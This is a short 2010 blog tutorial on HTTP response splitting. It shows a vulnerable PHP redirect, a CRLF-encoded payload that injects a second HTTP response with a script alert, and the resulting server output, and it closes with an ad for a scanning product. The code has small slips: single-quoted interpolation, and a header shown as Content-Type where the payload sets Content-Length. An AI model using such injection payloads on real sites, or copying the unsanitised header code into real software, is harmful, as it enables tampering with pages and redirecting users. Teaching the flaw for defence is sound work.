Web Application Security: Part 4 – HTTP Response Splitting
Brennan Kootnekoff on December 18th, 2010 | File Under Uncategorized -HTTP Response splitting is yet another vulnerability that utilizes improper input validation/sanitization from a user. This exploits pages which have user input directly redirected to Header information, such as redirects.
For example, here is a code for a vulnerable website
<?php
$redirurl = $_REQUEST[‘redirurl’];
header(‘Location : /goto.php?url=$redirurl’);
?>
If you send the text “top” to the redirurl parameter, the usual server response would be:
HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 12:53:28 GMT
Location: http://www.website.com/goto.php?url=top
Content-Type: text/html
Connection: Close
But a malicious user would utilize this un-sanitized input to his advantage and modify the HTTP Header Response. This is performed by sending a CLRF line termination, and shaping a completely different response.
For example, if a malicious user were to send the following data for the redirurl parameter:
blergh%0d%0aContent-
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
Type:%20text/html%0d%0aContent-Length:%2019%0d%0a%0d%0a<script>alert(‘surprise’);</script>
The server would respond with:
HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 12:53:28 GMT
Location: http://www.website.com/goto.php?url=blergh
Content-Type: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19
<script>alert(‘surprise’)</script>
This would consequently completely alter the page, and instead of the usual content being shown, the user would have a popup box with the word ‘surprise’ written come up on their screen.
This can be even used maliciously to redirect unsuspecting users to a completely different website.
Finding every location which incorporates user input in headers may be a nightmare with a large website. SecuScan can help automate this procedure as well as looking for Directory Traversal vulnerabilities on your website on a day to day basis.
Contact SecuSolutions at sales@secuscan.net or visit secusolutions.com for more info!
No Comments